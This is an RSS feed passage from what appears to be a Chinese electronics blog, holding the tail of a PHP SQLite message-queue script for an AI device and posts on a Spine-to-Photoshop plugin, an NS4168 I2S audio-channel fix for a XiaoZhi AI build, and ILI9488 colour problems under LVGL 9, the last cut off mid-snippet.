&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;$message[&amp;#39;id&amp;#39;]&amp;nbsp;.&amp;nbsp;&amp;#39;|&amp;#39;&amp;nbsp;.&amp;nbsp;$message[&amp;#39;message_text&amp;#39;];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;队列为空，返回随机话题
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$randomTopic&amp;nbsp;=&amp;nbsp;getRandomTopic();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;使用特殊ID=0表示这是随机话题，不需要完成通知
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;header(&amp;#39;Content-Type:&amp;nbsp;text/plain;&amp;nbsp;charset=utf-8&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;#39;0|&amp;#39;&amp;nbsp;.&amp;nbsp;$randomTopic;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;记录日志（可选）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;error_log(&amp;quot;[AI&amp;nbsp;Queue]&amp;nbsp;队列为空，返回随机话题:&amp;nbsp;&amp;quot;&amp;nbsp;.&amp;nbsp;$randomTopic);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;#39;complete&amp;#39;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;AI设备完成处理，删除消息（POST或GET请求）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$messageId&amp;nbsp;=&amp;nbsp;$_GET[&amp;#39;id&amp;#39;]&amp;nbsp;??&amp;nbsp;$_POST[&amp;#39;id&amp;#39;]&amp;nbsp;??&amp;nbsp;null;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!$messageId&amp;nbsp;||&amp;nbsp;!is_numeric($messageId))&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;http_response_code(400);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;json_encode([&amp;#39;status&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;error&amp;#39;,&amp;nbsp;&amp;#39;message&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;缺少消息ID&amp;#39;]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;markMessageComplete((int)$messageId);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stats&amp;nbsp;=&amp;nbsp;getQueueStats();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;json_encode([
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;status&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;success&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;message&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;消息已标记完成并删除&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;data&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;[
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;completed_id&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;(int)$messageId,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;queue_stats&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;$stats
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;#39;stats&amp;#39;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;获取队列统计信息
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stats&amp;nbsp;=&amp;nbsp;getQueueStats();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;json_encode([
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;status&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;success&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;data&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;$stats
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;#39;clear&amp;#39;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;清空队列（危险操作，可选）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db&amp;nbsp;=&amp;nbsp;new&amp;nbsp;SQLite3(DB_FILE);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;exec(&amp;quot;DELETE&amp;nbsp;FROM&amp;nbsp;message_queue&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$affected&amp;nbsp;=&amp;nbsp;$db-&amp;gt;changes();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;close();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;json_encode([
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;status&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;success&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;message&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;quot;已清空队列，删除&amp;nbsp;{$affected}&amp;nbsp;条消息&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;default:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;http_response_code(400);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;json_encode([
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;status&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;error&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;message&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;无效的action参数&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;available_actions&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;[
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;add&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;添加消息到队列（POST）&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;next&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;AI获取下一条消息（GET）&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;complete&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;标记消息完成（GET/POST，需要id参数）&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;stats&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;获取队列统计（GET）&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;clear&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;清空队列（GET）&amp;#39;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]);
}
?&amp;gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 08 Oct 2025 23:59:13 +0800</pubDate></item><item><title>spine导出json以及再导入photoshop插件</title><link>https://pylblog.com/post/264.html</link><description>&lt;p&gt;&lt;img src=&quot;https://pylblog.com/zb_users/upload/2025/07/202507111752208600120171.png&quot; title=&quot;spine导出json以及再导入photoshop插件 第1张&quot; alt=&quot;spine导出json以及再导入photoshop插件 第1张&quot;&gt;&lt;/p&gt;&lt;p&gt;此插件需要Photoshop CS2或更高版本此工具可以将Spine骨骼动画数据导入到Photoshop中保持原有的图层位置和大小关系&lt;/p&gt;&lt;p&gt;使用步骤：&lt;/p&gt;&lt;p&gt;1. 准备好导出的JSON文件&lt;/p&gt;&lt;p&gt;2. 准备好对应的图片文件夹&lt;/p&gt;&lt;p&gt;3. 点击开始导入按钮&lt;/p&gt;&lt;p&gt;包内包含ps导出到spine插件&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div id=&quot;ycnr&quot;&gt;[MyText]隐藏的内容显示的位置[/MyText]&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</description><pubDate>Fri, 11 Jul 2025 12:35:16 +0800</pubDate></item><item><title>编译的小智AI没有声音</title><link>https://pylblog.com/post/263.html</link><description>&lt;p&gt;我用的NS4168芯片，这款芯片查看了ns4168数据手册，左声道ctrl管脚要接0.9v~1.15v右声道要接1.5v~vdd，我的电路板用了一个10k电阻接的5v，所以使用的右声道，但是我把I2S_STD_SLOT_LEFT改成I2S_STD_SLOT_RIGHT后程序却没法获取录音了，后来经过一通摸索找到了原因&lt;/p&gt;&lt;div style=&quot;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; line-height: 19px; white-space-collapse: preserve;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: #4ec9b0;&quot;&gt;NoAudioCodecSimplex&lt;/span&gt; : &lt;span style=&quot;color: #569cd6;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #4ec9b0;&quot;&gt;NoAudioCodec&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;public:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #dcdcaa;&quot;&gt;NoAudioCodecSimplex&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;input_sample_rate&lt;/span&gt;, &lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;output_sample_rate&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;spk_bclk&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;spk_ws&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;spk_dout&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;mic_sck&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;mic_ws&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;mic_din&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #dcdcaa;&quot;&gt;NoAudioCodecSimplex&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;input_sample_rate&lt;/span&gt;, &lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;output_sample_rate&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;spk_bclk&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;spk_ws&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;spk_dout&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;i2s_std_slot_mask_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;spk_slot_mask&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;mic_sck&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;mic_ws&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;gpio_num_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;mic_din&lt;/span&gt;, &lt;span style=&quot;color: #4ec9b0;&quot;&gt;i2s_std_slot_mask_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;mic_slot_mask&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;/div&gt;&lt;p&gt;gpio_num_t spk_dou就是定义使用哪个声道的&lt;/p&gt;&lt;div style=&quot;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; line-height: 19px; white-space-collapse: preserve;&quot;&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #569cd6;&quot;&gt;virtual&lt;/span&gt; &lt;span style=&quot;color: #4ec9b0;&quot;&gt;AudioCodec&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #dcdcaa;&quot;&gt;GetAudioCodec&lt;/span&gt;() &lt;span style=&quot;color: #569cd6;&quot;&gt;override&lt;/span&gt; {&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #569cd6;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #4ec9b0;&quot;&gt;NoAudioCodecSimplex&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;audio_codec&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;AUDIO_INPUT_SAMPLE_RATE&lt;/span&gt;, &lt;span style=&quot;color: #569cd6;&quot;&gt;AUDIO_OUTPUT_SAMPLE_RATE&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #569cd6;&quot;&gt;AUDIO_I2S_SPK_GPIO_BCLK&lt;/span&gt;, &lt;span style=&quot;color: #569cd6;&quot;&gt;AUDIO_I2S_SPK_GPIO_LRCK&lt;/span&gt;, &lt;span style=&quot;color: #569cd6;&quot;&gt;AUDIO_I2S_SPK_GPIO_DOUT&lt;/span&gt;,&lt;span style=&quot;background-color: #FF0000;&quot;&gt;I2S_STD_SLOT_RIGHT&lt;/span&gt;, &lt;span style=&quot;color: #569cd6;&quot;&gt;AUDIO_I2S_MIC_GPIO_SCK&lt;/span&gt;, &lt;span style=&quot;color: #569cd6;&quot;&gt;AUDIO_I2S_MIC_GPIO_WS&lt;/span&gt;, &lt;span style=&quot;color: #569cd6;&quot;&gt;AUDIO_I2S_MIC_GPIO_DIN&lt;/span&gt;,I2S_STD_SLOT_LEFT);&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;audio_codec&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;/div&gt;&lt;p&gt;红色部分就是你要修改的声道&lt;/p&gt;</description><pubDate>Fri, 14 Mar 2025 17:11:55 +0800</pubDate></item><item><title>ILI9488使用lvgl9.x屏幕颜色不正常</title><link>https://pylblog.com/post/262.html</link><description>&lt;h3 data-start=&quot;58&quot; data-end=&quot;72&quot;&gt;&lt;strong data-start=&quot;62&quot; data-end=&quot;71&quot;&gt;可能的原因&lt;/strong&gt;：&lt;/h3&gt;&lt;ol data-start=&quot;73&quot; data-end=&quot;362&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p data-start=&quot;76&quot; data-end=&quot;87&quot;&gt;&lt;strong data-start=&quot;76&quot; data-end=&quot;87&quot;&gt;颜色模式不匹配&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul data-start=&quot;91&quot; data-end=&quot;197&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;ILI9488 &lt;strong data-start=&quot;101&quot; data-end=&quot;111&quot;&gt;SPI 接口&lt;/strong&gt; 仅支持 &lt;strong data-start=&quot;116&quot; data-end=&quot;134&quot;&gt;RGB666 (18bit)&lt;/strong&gt;，而 &lt;strong data-start=&quot;137&quot; data-end=&quot;164&quot;&gt;LVGL 默认是 RGB565 (16bit)&lt;/strong&gt;。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;你需要将 RGB565 转换成 RGB666。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p data-start=&quot;201&quot; data-end=&quot;224&quot;&gt;&lt;strong data-start=&quot;201&quot; data-end=&quot;224&quot;&gt;MADCTL（内存访问控制）设置不正确&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul data-start=&quot;228&quot; data-end=&quot;274&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;ILI9488 的 &lt;strong data-start=&quot;240&quot; data-end=&quot;250&quot;&gt;MADCTL&lt;/strong&gt; 控制颜色格式和方向，错误设置可能导致颜色错乱。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p data-start=&quot;279&quot; data-end=&quot;309&quot;&gt;&lt;strong data-start=&quot;279&quot; data-end=&quot;309&quot;&gt;LVGL 颜色格式（Color Depth）设置错误&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul data-start=&quot;313&quot; data-end=&quot;362&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;在 &lt;code data-start=&quot;317&quot; data-end=&quot;328&quot;&gt;lv_conf.h&lt;/code&gt; 里，&lt;code data-start=&quot;331&quot; data-end=&quot;347&quot;&gt;LV_COLOR_DEPTH&lt;/code&gt; 可能不匹配 ILI9488。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;&lt;p&gt;&lt;img src=&quot;https://forum.lvgl.io/uploads/default/optimized/2X/8/878e5e4bb1229e60d8990876a2350beb041c25a6_2_375x500.jpeg&quot; title=&quot;ILI9488使用lvgl9.x屏幕颜色不正常 第1张&quot; alt=&quot;ILI9488使用lvgl9.x屏幕颜色不正常 第1张&quot;&gt;&lt;/p&gt;&lt;p&gt;我的最终解决办法是将&lt;/p&gt;&lt;p style=&quot;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier 